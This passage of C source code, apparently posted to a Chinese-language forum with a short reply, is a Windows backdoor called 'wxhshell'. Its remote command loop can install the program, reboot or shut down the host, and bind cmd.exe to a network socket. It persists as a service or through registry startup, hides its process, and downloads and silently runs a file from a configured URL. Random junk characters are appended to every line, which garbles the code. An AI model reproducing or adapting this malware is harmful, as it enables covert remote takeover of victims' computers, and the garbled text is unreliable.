  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +|SvJ  
  } c <T'_93  
  else { CHZjK(a  
!"dn!X  
    switch(cmd[0]) { 9[L@*7A`m  
  ?M02|8-  
  // 帮助 UN,y /V  
  case '?': { fxR}a,a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @1p ,  
    break; ,vN0Jpf}\8  
  } \q |n0>  
  // 安装 @qGg=)T  
  case 'i': { A&dNCB  
    if(Install()) {1jywb }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #c2InwZV  
    else s3., N|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L.]mC !  
    break;  `LWZ!Q  
    } |ULwUi-r  
  // 卸载 1zz.`.R2U  
  case 'r': { eqFOPK5q  
    if(Uninstall()) a%h'utF{[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GNv5yWQ@  
    else jNO8n)a&p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6"bGA  
    break; 4Pm+0=E   
    } p| #gn<z}  
  // 显示 wxhshell 所在路径 O8J:Tw}M*  
  case 'p': { UdSu:V|  
    char svExeFile[MAX_PATH]; C}~/(;1V=  
    strcpy(svExeFile,"\n\r"); Rlq6I?S+  
      strcat(svExeFile,ExeFile); 7+h*&f3>  
        send(wsh,svExeFile,strlen(svExeFile),0);  fK$N|r  
    break; _:tclBc8R  
    } c= -2c&=&  
  // 重启 q|8p4X}/]  
  case 'b': { wu2AhMGmw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h/CF^0m"!  
    if(Boot(REBOOT)) $_.m<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CCX!>k]  
    else { a%wK[yVp  
    closesocket(wsh); V r0-/T  
    ExitThread(0); D(GAC!|/]  
    } r7I,%}k  
    break; j&S8x|5  
    } kP6P/F|RcZ  
  // 关机 kZlRS^6  
  case 'd': { >v+ia%o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kS>'6xXH  
    if(Boot(SHUTDOWN)) B1&H5gxgN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~'a1R  
    else { z~g7O4#  
    closesocket(wsh); ,8F?v~C  
    ExitThread(0); >%"Q]p  
    } vd5"phn 3  
    break; 3x 9O(;k  
    } zn4Yo  
  // 获取shell t?-7Z6  
  case 's': { j=^b'dyL  
    CmdShell(wsh); J6!t"eB+  
    closesocket(wsh); }/Wd9x  
    ExitThread(0); g>[|/z P  
    break; W biUz2)  
  } UeRx ^  
  // 退出 =](c7HEQf  
  case 'x': { kUJ\AK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GQ-o wH]  
    CloseIt(wsh); #0-!P+c[  
    break; YLlw:jN  
    } }G8RJxy  
  // 离开 c-INVA)  
  case 'q': { t;DZ^Z"{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !d1}IU-h  
    closesocket(wsh); Q7y6</4f  
    WSACleanup(); -S=Zsr\  
    exit(1); HA{-XPAWZ  
    break; _ +,2b:D:  
        } `9Qr kkG+  
  } FjUp+5  
  } 3I_"vk  
cLQvzd:h=  
  // 提示信息 /~_Cb= 7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YkcX#>,  
} ;3n0 bKDY  
  } }*n(RnCn  
VA _O0y2  
  return; 5L<}u` 0J  
} ?=<vC  
}P$48o VY  
// shell模块句柄 uP/WRQ{rW>  
int CmdShell(SOCKET sock) jl<rxO?-F  
{ #lyvb.;  
STARTUPINFO si; NgKbf vt  
ZeroMemory(&si,sizeof(si)); %J `;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xDBEs*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F<?e79},`  
PROCESS_INFORMATION ProcessInfo; ^uW!=%D  
char cmdline[]="cmd"; qYFol# =%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GLb}_-|  
  return 0; ;G.m;5A  
} g<s[6yA  
fB5Bh;K  
// 自身启动模式 ay2 m!s Q  
int StartFromService(void) Rg&6J#h  
{ z[Kxy1,  
typedef struct `h M:U  
{ Ep}KIBBO  
  DWORD ExitStatus; O.=~/!(  
  DWORD PebBaseAddress; {6<7M  
  DWORD AffinityMask; )o[ O%b  
  DWORD BasePriority; yI9l*'  
  ULONG UniqueProcessId; >taS<.G  
  ULONG InheritedFromUniqueProcessId; pBt/vSad  
}   PROCESS_BASIC_INFORMATION; q[]!V0Ek10  
$JTy`g0>x  
PROCNTQSIP NtQueryInformationProcess; n@BE*I<"  
+1p>:cih  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0D>~uNcT}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }H{{@RU  
?B %y)K  
  HANDLE             hProcess; vi0% jsI  
  PROCESS_BASIC_INFORMATION pbi; u+s#Fee I  
L6j 5pI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $*%Ml+H-  
  if(NULL == hInst ) return 0; uL b- NxQ-  
 Be2@9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ms(;B*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kq:,}fc;B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9B'l+nP  
i~z:Fe{  
  if (!NtQueryInformationProcess) return 0; >"F~%D<.  
>qx~m>2|8]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p;j$i6YJ  
  if(!hProcess) return 0; 0|{U"\  
'oTcx Jx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W.\HfJ74  
y wk;  
  CloseHandle(hProcess); Qd!;CoOmZs  
44?5]C7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6!bA~"N  
if(hProcess==NULL) return 0; 5 d(A(  
Xr M[8a  
HMODULE hMod; KLq u[{y.'  
char procName[255]; ;sNyN#  
unsigned long cbNeeded; _dsd{&  
P1 (8foZA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); > Q@*o  
(eJr-xZ/  
  CloseHandle(hProcess); $t 1]w]}d  
SlZL%C;  
if(strstr(procName,"services")) return 1; // 以服务启动 F4 Ft~:a  
U3lr<(r*  
  return 0; // 注册表启动 |i?AtOt@f  
} p`1d'n[  
X >%2\S  
// 主模块 {L$b$u$7:  
int StartWxhshell(LPSTR lpCmdLine) W\U zw,vI  
{ Oe$cM=Yf  
  SOCKET wsl; }#<Sq57n  
BOOL val=TRUE; ;y6Jo  
  int port=0; 5vbnO]8  
  struct sockaddr_in door; >o 3X)  
1y0.tdI(  
  if(wscfg.ws_autoins) Install(); 2I?HBz1v  
j#&sZ$HQ4  
port=atoi(lpCmdLine); 4>Uo0NfL  
l(=#c/f  
if(port<=0) port=wscfg.ws_port; ]vQo^nOo  
PBn(k>=+  
  WSADATA data; (fh:q2E#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NFLmM  
B[4y(Im  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $'9r=#EH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DGHX:Ft#  
  door.sin_family = AF_INET; 83i%3[L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gSR&CnqZ<  
  door.sin_port = htons(port); ~8pf.^,fi  
QJdSNkc6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _5U Fml9  
closesocket(wsl); bvG").8$  
return 1; ^#3$C?d  
} gyCb\y+\a  
$o]zNW;X  
  if(listen(wsl,2) == INVALID_SOCKET) { ;S`Nq%,  
closesocket(wsl); mkE*.I0=  
return 1; IH~H6US  
} 2z0HB+Y}x  
  Wxhshell(wsl); t s ?b[v  
  WSACleanup(); &p ;};n  
jcq(=7j  
return 0; lBG* P>;  
82J0t}:U  
} '12|:t&7  
wmo'Pl  
// 以NT服务方式启动 & p_;&P_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` V^#Sb  
{ bk6$+T=>  
DWORD   status = 0; :-"J)^V  
  DWORD   specificError = 0xfffffff; {]D!@87  
x ;Gyo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k}lx!Ck  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z7.)[ ;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [PX'Jer  
  serviceStatus.dwWin32ExitCode     = 0; BLaX p0  
  serviceStatus.dwServiceSpecificExitCode = 0; 'd U$QO  
  serviceStatus.dwCheckPoint       = 0; RTY$oUqlZ  
  serviceStatus.dwWaitHint       = 0; o=`9JKB~  
&/JnAfmYqt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }(o/+H4  
  if (hServiceStatusHandle==0) return; LG<lZ9+y  
7abq3OK+`  
status = GetLastError(); Z:/S@ry  
  if (status!=NO_ERROR) 3gabk/  
{ W^=89I4]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $\^]MxI  
    serviceStatus.dwCheckPoint       = 0;  V'mpl  
    serviceStatus.dwWaitHint       = 0; 2{V|  
    serviceStatus.dwWin32ExitCode     = status; e#nTp b  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3&y u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3@"VS_;?  
    return; iL,3g[g  
  } rXm!3E6JL  
yPQ{tS*t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GrQl3 Xi  
  serviceStatus.dwCheckPoint       = 0; jQ^Ib]"K  
  serviceStatus.dwWaitHint       = 0; HJcZ~5jf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CIaabn  
} |@ldXuYb  
w5*18L=O\  
// 处理NT服务事件,比如:启动、停止 ^U`q1Pg5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <=7)t.  
{ ~IqT >  
switch(fdwControl) njq-iU  
{ &pba~X.u  
case SERVICE_CONTROL_STOP: 2(c#m*Q!b  
  serviceStatus.dwWin32ExitCode = 0; i@I%$!cB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ix#  
  serviceStatus.dwCheckPoint   = 0; D$mrnm4d  
  serviceStatus.dwWaitHint     = 0; ffB]4  
  { ncA2en?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hT]p8m aRZ  
  } {(q U n  
  return; qt:->yiq+  
case SERVICE_CONTROL_PAUSE: Wey\GQ`"8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _$cBI_eA7  
  break; HkV/+ {;S~  
case SERVICE_CONTROL_CONTINUE: KJ#c(yb9zR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Aluk|"`U  
  break; n=>Gu9`  
case SERVICE_CONTROL_INTERROGATE: C=b5[, UCB  
  break; 785iY865  
}; (i?^g &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6h,'#|:d  
} f7W=x6Z4  
C`#N Q*O  
// 标准应用程序主函数 }GC{~ SZ4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aLq;a  
{ \bsm#vY,  
ibAA:I,d  
// 获取操作系统版本 d{trO;%#f  
OsIsNt=GetOsVer(); LtU+w*Gj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7, 4x7!  
Rd$<R  
  // 从命令行安装 *&PgDAQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); n^%u9H  
zSH#j RDV  
  // 下载执行文件 x!jhWX  
if(wscfg.ws_downexe) { Lf:Z (Z>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?yU#'`q  
  WinExec(wscfg.ws_filenam,SW_HIDE); a;zcAeX  
} "D/ fB%h`  
8`~]9ej  
if(!OsIsNt) { 4HHf3j!5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;'Q{ ywr  
HideProc(); (j /O=$mJ  
StartWxhshell(lpCmdLine); Y5opZ G  
} <@=NDUI3*,  
else h P1|l  
  if(StartFromService()) #.='dSj  
  // 以服务方式启动 Xo5L:(?K  
  StartServiceCtrlDispatcher(DispatchTable); i,HAXPi  
else aF=VJ+5  
  // 普通方式启动 Zk[#B UA  
  StartWxhshell(lpCmdLine); 5jLDe~  
`2oi~^.  
return 0; `WT7w']NT  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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